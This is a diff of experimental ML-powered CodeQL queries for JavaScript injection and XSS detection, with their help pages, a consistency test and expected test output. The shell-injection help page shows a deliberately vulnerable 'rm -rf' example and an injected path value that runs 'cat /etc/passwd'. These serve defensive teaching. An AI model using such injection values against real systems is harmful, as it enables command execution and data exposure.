|
||||
library: false
|
||||
groups:
|
||||
|
||||
@@ -17,11 +17,8 @@ import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
import experimental.adaptivethreatmodeling.NosqlInjectionATM
|
||||
|
||||
from DataFlow::Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where
|
||||
cfg.hasFlowPath(source, sink) and
|
||||
not isFlowLikelyInBaseQuery(source.getNode(), sink.getNode()) and
|
||||
score = getScoreForFlow(source.getNode(), sink.getNode())
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) This may be a database query that depends on $@. Identified using machine learning.",
|
||||
source.getNode(), "a user-provided value", score
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
|
||||
# Shell command built from environment values (experimental)
|
||||
|
||||
Dynamically constructing a shell command with values from the
|
||||
local environment, such as file paths, may inadvertently
|
||||
change the meaning of the shell command.
|
||||
|
||||
Such changes can occur when an environment value contains
|
||||
characters that the shell interprets in a special way, for instance
|
||||
quotes and spaces.
|
||||
|
||||
This can result in the shell command misbehaving, or even
|
||||
allowing a malicious user to execute arbitrary commands on the system.
|
||||
|
||||
Note: This CodeQL query is an experimental query. Experimental queries generate alerts using machine learning. They might include more false positives but they will improve over time.
|
||||
|
||||
## Recommendation
|
||||
|
||||
If possible, use hard-coded string literals to specify the
|
||||
shell command to run, and provide the dynamic arguments to the shell
|
||||
command separately to avoid interpretation by the shell.
|
||||
|
||||
Alternatively, if the shell command must be constructed
|
||||
dynamically, then add code to ensure that special characters in
|
||||
environment values do not alter the shell command unexpectedly.
|
||||
|
||||
## Example
|
||||
|
||||
The following example shows a dynamically constructed shell
|
||||
command that recursively removes a temporary directory that is located
|
||||
next to the currently executing JavaScript file. Such utilities are
|
||||
often found in custom build scripts.
|
||||
|
||||
```javascript
|
||||
var cp = require("child_process"),
|
||||
path = require("path");
|
||||
function cleanupTemp() {
|
||||
let cmd = "rm -rf " + path.join(__dirname, "temp");
|
||||
cp.execSync(cmd); // BAD
|
||||
}
|
||||
```
|
||||
|
||||
The shell command will, however, fail to work as intended if the
|
||||
absolute path of the script's directory contains spaces. In that
|
||||
case, the shell command will interpret the absolute path as multiple
|
||||
paths, instead of a single path.
|
||||
|
||||
For instance, if the absolute path of
|
||||
the temporary directory is "`/home/username/important project/temp`", then the shell command will recursively delete
|
||||
`"/home/username/important"` and `"project/temp"`,
|
||||
where the latter path gets resolved relative to the working directory
|
||||
of the JavaScript process.
|
||||
|
||||
Even worse, although less likely, a malicious user could
|
||||
provide the path `"/home/username/; cat /etc/passwd #/important
|
||||
project/temp"` in order to execute the command `"cat
|
||||
/etc/passwd"`.
|
||||
|
||||
To avoid such potentially catastrophic behaviors, provide the
|
||||
directory as an argument that does not get interpreted by a
|
||||
shell:
|
||||
|
||||
```javascript
|
||||
var cp = require("child_process"),
|
||||
path = require("path");
|
||||
function cleanupTemp() {
|
||||
let cmd = "rm",
|
||||
args = ["-rf", path.join(__dirname, "temp")];
|
||||
cp.execFileSync(cmd, args); // GOOD
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection)
|
||||
@@ -0,0 +1,29 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* @name Shell command built from environment values
|
||||
* @description Building a shell command string with values from the enclosing
|
||||
* environment may cause subtle bugs or vulnerabilities.
|
||||
* @kind path-problem
|
||||
* @scored
|
||||
* @problem.severity warning
|
||||
* @security-severity 6.3
|
||||
* @precision high
|
||||
* @id js/ml-powered/shell-command-injection-from-environment
|
||||
* @tags experimental security
|
||||
* correctness
|
||||
* security
|
||||
* external/cwe/cwe-078
|
||||
* external/cwe/cwe-088
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM
|
||||
import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) This shell command depends on $@. Identified using machine learning.",
|
||||
source.getNode(), "an uncontrolled value", score
|
||||
@@ -17,11 +17,8 @@ import experimental.adaptivethreatmodeling.SqlInjectionATM
|
||||
import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from DataFlow::Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where
|
||||
cfg.hasFlowPath(source, sink) and
|
||||
not isFlowLikelyInBaseQuery(source.getNode(), sink.getNode()) and
|
||||
score = getScoreForFlow(source.getNode(), sink.getNode())
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) This may be a database query that depends on $@. Identified using machine learning.",
|
||||
source.getNode(), "a user-provided value", score
|
||||
|
||||
@@ -21,11 +21,8 @@ import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
import experimental.adaptivethreatmodeling.TaintedPathATM
|
||||
|
||||
from DataFlow::Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where
|
||||
cfg.hasFlowPath(source, sink) and
|
||||
not isFlowLikelyInBaseQuery(source.getNode(), sink.getNode()) and
|
||||
score = getScoreForFlow(source.getNode(), sink.getNode())
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) This may be a path that depends on $@. Identified using machine learning.",
|
||||
source.getNode(), "a user-provided value", score
|
||||
|
||||
@@ -18,11 +18,8 @@ import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
import experimental.adaptivethreatmodeling.XssATM
|
||||
|
||||
from DataFlow::Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where
|
||||
cfg.hasFlowPath(source, sink) and
|
||||
not isFlowLikelyInBaseQuery(source.getNode(), sink.getNode()) and
|
||||
score = getScoreForFlow(source.getNode(), sink.getNode())
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) This may be a cross-site scripting vulnerability due to $@. Identified using machine learning.",
|
||||
source.getNode(), "a user-provided value", score
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# DOM text reinterpreted as HTML (experimental)
|
||||
|
||||
Extracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.
|
||||
|
||||
A webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.
|
||||
|
||||
Note: This CodeQL query is an experimental query. Experimental queries generate alerts using machine learning. They might include more false positives but they will improve over time.
|
||||
|
||||
## Recommendation
|
||||
|
||||
To guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.
|
||||
|
||||
## Example
|
||||
|
||||
The following example shows a webpage using a `data-target` attribute
|
||||
to select and manipulate a DOM element using the JQuery library. In the example, the
|
||||
`data-target` attribute is read into the `target` variable, and the
|
||||
`$` function is then supposed to use the `target` variable as a CSS
|
||||
selector to determine which element should be manipulated.
|
||||
|
||||
```javascript
|
||||
$("button").click(function () {
|
||||
var target = $(this).attr("data-target");
|
||||
$(target).hide();
|
||||
});
|
||||
```
|
||||
|
||||
However, if an attacker can control the `data-target` attribute,
|
||||
then the value of `target` can be used to cause the `$` function
|
||||
to execute arbitrary JavaScript.
|
||||
|
||||
The above vulnerability can be fixed by using `$.find` instead of `$`.
|
||||
The `$.find` function will only interpret `target` as a CSS selector
|
||||
and never as HTML, thereby preventing an XSS attack.
|
||||
|
||||
```javascript
|
||||
$("button").click(function () {
|
||||
var target = $(this).attr("data-target");
|
||||
$.find(target).hide();
|
||||
});
|
||||
```
|
||||
|
||||
## References
|
||||
* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
|
||||
* OWASP: [(Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
|
||||
* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)
|
||||
* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting)
|
||||
* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)
|
||||
@@ -0,0 +1,25 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* @name DOM text reinterpreted as HTML (experimental)
|
||||
* @description Reinterpreting text from the DOM as HTML can lead
|
||||
* to a cross-site scripting vulnerability.
|
||||
* @kind path-problem
|
||||
* @scored
|
||||
* @problem.severity error
|
||||
* @security-severity 6.1
|
||||
* @id js/ml-powered/xss-through-dom
|
||||
* @tags experimental security
|
||||
* external/cwe/cwe-079 external/cwe/cwe-116
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import ATM::ResultsInfo
|
||||
import DataFlow::PathGraph
|
||||
import experimental.adaptivethreatmodeling.XssThroughDomATM
|
||||
|
||||
from AtmConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink, float score
|
||||
where cfg.hasBoostedFlowPath(source, sink, score)
|
||||
select sink.getNode(), source, sink,
|
||||
"(Experimental) $@ may be reinterpreted as HTML without escaping meta-characters. Identified using machine learning.",
|
||||
source.getNode(), "DOM text", score
|
||||
@@ -1,4 +1,5 @@
|
||||
name: codeql/javascript-experimental-atm-queries
|
||||
description: Experimental ML-powered queries for JavaScript
|
||||
language: javascript
|
||||
version: 0.4.7
|
||||
suites: codeql-suites
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
erroneousEndpoints
|
||||
erroneousConfidences
|
||||
@@ -0,0 +1,90 @@
|
||||
/**
|
||||
* ContradictoryEndpointCharacteristics.ql
|
||||
*
|
||||
* This tests surfaces endpoints that have a set of characteristics are logically incompatible with one another (e.g one
|
||||
* high-confidence characteristic that implies a non-sink and another that implies a sink). If the test surfaces any
|
||||
* such endpoints, this is a hint that some of our endpoint characteristics may be need to be adjusted.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
private import experimental.adaptivethreatmodeling.EndpointCharacteristics as EndpointCharacteristics
|
||||
private import experimental.adaptivethreatmodeling.EndpointTypes as EndpointTypes
|
||||
|
||||
/**
|
||||
* Holds if `characteristic1` and `characteristic2` are among the several pairs of currently known high-confidence
|
||||
* negative characteristics that apply to some known sinks.
|
||||
*
|
||||
* TODO: Experiment with lowering the confidence of `"FileSystemAccess"`, `"DOM"`, `"DatabaseAccess"`, and
|
||||
* `"JQueryArgument"`.
|
||||
*/
|
||||
private predicate knownContradictoryCharacteristics(
|
||||
EndpointCharacteristics::EndpointCharacteristic characteristic1,
|
||||
EndpointCharacteristics::EndpointCharacteristic characteristic2
|
||||
) {
|
||||
characteristic1 != characteristic2 and
|
||||
(
|
||||
characteristic1 = ["TaintedPathSink", "FileSystemAccess"] and
|
||||
characteristic2 = ["TaintedPathSink", "FileSystemAccess"]
|
||||
or
|
||||
characteristic1 = ["DomBasedXssSink", "DOM"] and
|
||||
characteristic2 = ["DomBasedXssSink", "DOM"]
|
||||
or
|
||||
characteristic1 = ["DomBasedXssSink", "JQueryArgument"] and
|
||||
characteristic2 = ["DomBasedXssSink", "JQueryArgument"]
|
||||
or
|
||||
characteristic1 = ["NosqlInjectionSink", "DatabaseAccess"] and
|
||||
characteristic2 = ["NosqlInjectionSink", "DatabaseAccess"]
|
||||
or
|
||||
characteristic1 = ["SqlInjectionSink", "DatabaseAccess"] and
|
||||
characteristic2 = ["SqlInjectionSink", "DatabaseAccess"]
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the given endpoint has a self-contradictory combination of characteristics. Detects errors in our endpoint
|
||||
* characteristics. Lists the problematic characterisitics and their implications for all such endpoints, together with
|
||||
* an error message indicating why this combination is problematic.
|
||||
*/
|
||||
query predicate erroneousEndpoints(
|
||||
DataFlow::Node endpoint, EndpointCharacteristics::EndpointCharacteristic characteristic,
|
||||
EndpointTypes::EndpointType endpointClass, float confidence, string errorMessage
|
||||
) {
|
||||
// An endpoint's characteristics should not include positive indicators with medium/high confidence for more than one
|
||||
// class.
|
||||
exists(
|
||||
EndpointCharacteristics::EndpointCharacteristic characteristic2,
|
||||
EndpointTypes::EndpointType endpointClass2, float confidence2
|
||||
|
|
||||
endpointClass.getEncoding() != endpointClass2.getEncoding() and
|
||||
characteristic.appliesToEndpoint(endpoint) and
|
||||
characteristic2.appliesToEndpoint(endpoint) and
|
||||
characteristic.hasImplications(endpointClass, true, confidence) and
|
||||
characteristic2.hasImplications(endpointClass2, true, confidence2) and
|
||||
confidence > characteristic.mediumConfidence() and
|
||||
confidence2 > characteristic2.mediumConfidence() and
|
||||
// We currently know of several high-confidence negative characteristics that apply to some known sinks.
|
||||
not knownContradictoryCharacteristics(characteristic, characteristic2)
|
||||
) and
|
||||
errorMessage = "Endpoint has high-confidence positive indicators for multiple classes"
|
||||
or
|
||||
// An enpoint's characteristics should not include positive indicators with medium/high confidence for some class and
|
||||
// also include negative indicators with medium/high confidence for this same class.
|
||||
exists(EndpointCharacteristics::EndpointCharacteristic characteristic2, float confidence2 |
|
||||
characteristic.appliesToEndpoint(endpoint) and
|
||||
characteristic2.appliesToEndpoint(endpoint) and
|
||||
characteristic.hasImplications(endpointClass, true, confidence) and
|
||||
characteristic2.hasImplications(endpointClass, false, confidence2) and
|
||||
confidence > characteristic.mediumConfidence() and
|
||||
confidence2 > characteristic2.mediumConfidence()
|
||||
) and
|
||||
errorMessage = "Endpoint has high-confidence positive and negative indicators for the same class"
|
||||
}
|
||||
|
||||
query predicate erroneousConfidences(
|
||||
EndpointCharacteristics::EndpointCharacteristic characteristic, float confidence,
|
||||
string errorMessage
|
||||
) {
|
||||
characteristic.hasImplications(_, _, confidence) and
|
||||
(confidence < 0 or confidence > 1) and
|
||||
errorMessage = "Characteristic has an indicator with confidence outside of [0, 1]"
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -11,17 +11,25 @@ import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAt
|
||||
import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
import experimental.adaptivethreatmodeling.EndpointFeatures as EndpointFeatures
|
||||
import experimental.adaptivethreatmodeling.StandardEndpointFilters as StandardEndpointFilters
|
||||
import extraction.NoFeaturizationRestrictionsConfig
|
||||
private import experimental.adaptivethreatmodeling.EndpointCharacteristics as EndpointCharacteristics
|
||||
|
||||
query predicate tokenFeatures(DataFlow::Node endpoint, string featureName, string featureValue) {
|
||||
(
|
||||
not exists(NosqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(SqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(TaintedPathAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(XssAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint)) or
|
||||
StandardEndpointFilters::isArgumentToModeledFunction(endpoint)
|
||||
not exists(any(NosqlInjectionAtm::NosqlInjectionAtmConfig cfg).getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(any(SqlInjectionAtm::SqlInjectionAtmConfig cfg).getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(any(TaintedPathAtm::TaintedPathAtmConfig cfg).getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(any(XssAtm::DomBasedXssAtmConfig cfg).getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(any(XssThroughDomAtm::XssThroughDomAtmConfig cfg).getAReasonSinkExcluded(endpoint)) or
|
||||
not exists(
|
||||
any(ShellCommandInjectionFromEnvironmentAtm::ShellCommandInjectionFromEnvironmentAtmConfig cfg)
|
||||
.getAReasonSinkExcluded(endpoint)
|
||||
) or
|
||||
any(EndpointCharacteristics::IsArgumentToModeledFunctionCharacteristic characteristic)
|
||||
.appliesToEndpoint(endpoint)
|
||||
) and
|
||||
EndpointFeatures::tokenFeatures(endpoint, featureName, featureValue)
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1 +0,0 @@
|
||||
extraction/ExtractEndpointData.ql
|
||||
@@ -0,0 +1,518 @@
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:14:30:14:30 | v |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:22:33:22:33 | v |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:23:33:23:33 | v |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:82:11:91:6 | JSON.st ... \\n }) |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:99:11:111:6 | JSON.st ... \\n }) |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:109:13:109:14 | id |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:26:25:26:29 | query |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:32:15:32:59 | `(\|(nam ... ame}))` |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:40:15:42:11 | `(\|(nam ... )}))` |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:64:5:64:49 | `(\|(nam ... ame}))` |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:77:22:77:24 | tag |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:85:20:85:22 | tag |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:130:23:130:24 | id |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:131:30:131:31 | id |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:11:22:11:22 | v |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:12:22:12:32 | req.body.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:13:22:13:37 | `${req.body.id}` |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:21:10:26 | [temp] |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:22:10:25 | temp |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:26:13:26:25 | req.params.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:41:7:41:20 | req.params.foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:48:13:48:27 | req.params.name |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:55:13:55:27 | req.params.name |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/redis.js:52:28:52:30 | key |
|
||||
| DomBasedXssAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst3.js:16:23:16:41 | req.params.category |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:28:28:28:30 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:29:33:29:35 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:30:26:30:28 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:31:26:31:28 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:32:26:32:28 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:39:26:39:28 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:56:54:56:56 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:85:37:85:54 | req.query.fileName |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh2.js:10:40:10:46 | command |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh.js:15:44:15:50 | command |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:33:12:33:69 | "http:/ ... ry.user |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:34:44:34:46 | cmd |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:7:33:7:38 | remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:9:29:9:34 | remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:20:35:20:40 | remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:26:35:26:40 | remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:31:27:31:40 | req.query.args |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:40:28:40:43 | req.query.remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:42:31:42:46 | req.query.remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:46:34:46:49 | req.query.remote |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/handlebars.js:29:46:29:60 | req.params.path |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/handlebars.js:33:42:33:56 | req.params.name |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/handlebars.js:37:43:37:57 | req.params.name |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/handlebars.js:43:15:43:29 | req.params.path |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/handlebars.js:49:17:49:33 | req.params.prefix |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:312:19:312:22 | path |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:321:19:321:32 | normalizedPath |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:328:19:328:32 | normalizedPath |
|
||||
| DomBasedXssAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:381:25:381:28 | path |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:7:47:7:69 | classNa ... w.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:8:47:8:70 | classNa ... w.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:9:47:9:70 | classNa ... w.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:10:45:10:55 | window.name |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:11:47:11:64 | unsafeStyle('foo') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:13:47:13:68 | safeSty ... w.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:15:47:15:63 | clsx(window.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:17:5:17:79 | documen ... <span>` |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:17:48:17:64 | clsx(window.name) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/clipboard.ts:8:18:8:51 | clipboa ... /html') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/clipboard.ts:43:22:43:55 | clipboa ... /html') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/clipboard.ts:98:22:98:54 | dataTra ... /html') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:15:65:15:69 | taint |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:17:49:17:53 | taint |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/event-handler-receiver.js:2:49:2:61 | location.href |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/jquery.js:7:20:7:26 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/jquery.js:10:13:10:31 | location.toString() |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/jquery.js:34:13:34:16 | hash |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:10:30:10:47 | req.query.receiver |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:12:11:12:69 | `Hi, yo ... sage}.` |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/sanitiser.js:23:29:23:35 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/sanitiser.js:30:29:30:35 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/sanitiser.js:33:29:33:35 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/sanitiser.js:38:29:38:35 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/sanitiser.js:45:29:45:35 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/stored-xss.js:12:35:12:38 | href |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:6:27:6:32 | data.w |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:11:36:11:41 | data.w |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:15:23:15:29 | data[p] |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:8:37:8:114 | documen ... t=")+8) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:12:28:12:33 | target |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:15:37:15:42 | target |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:43:20:43:20 | s |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:83:29:83:52 | documen ... .search |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:86:31:86:54 | documen ... .search |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:87:28:87:51 | documen ... .search |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:357:20:357:25 | target |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:361:14:361:19 | target |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:4:14:4:20 | tainted |
|
||||
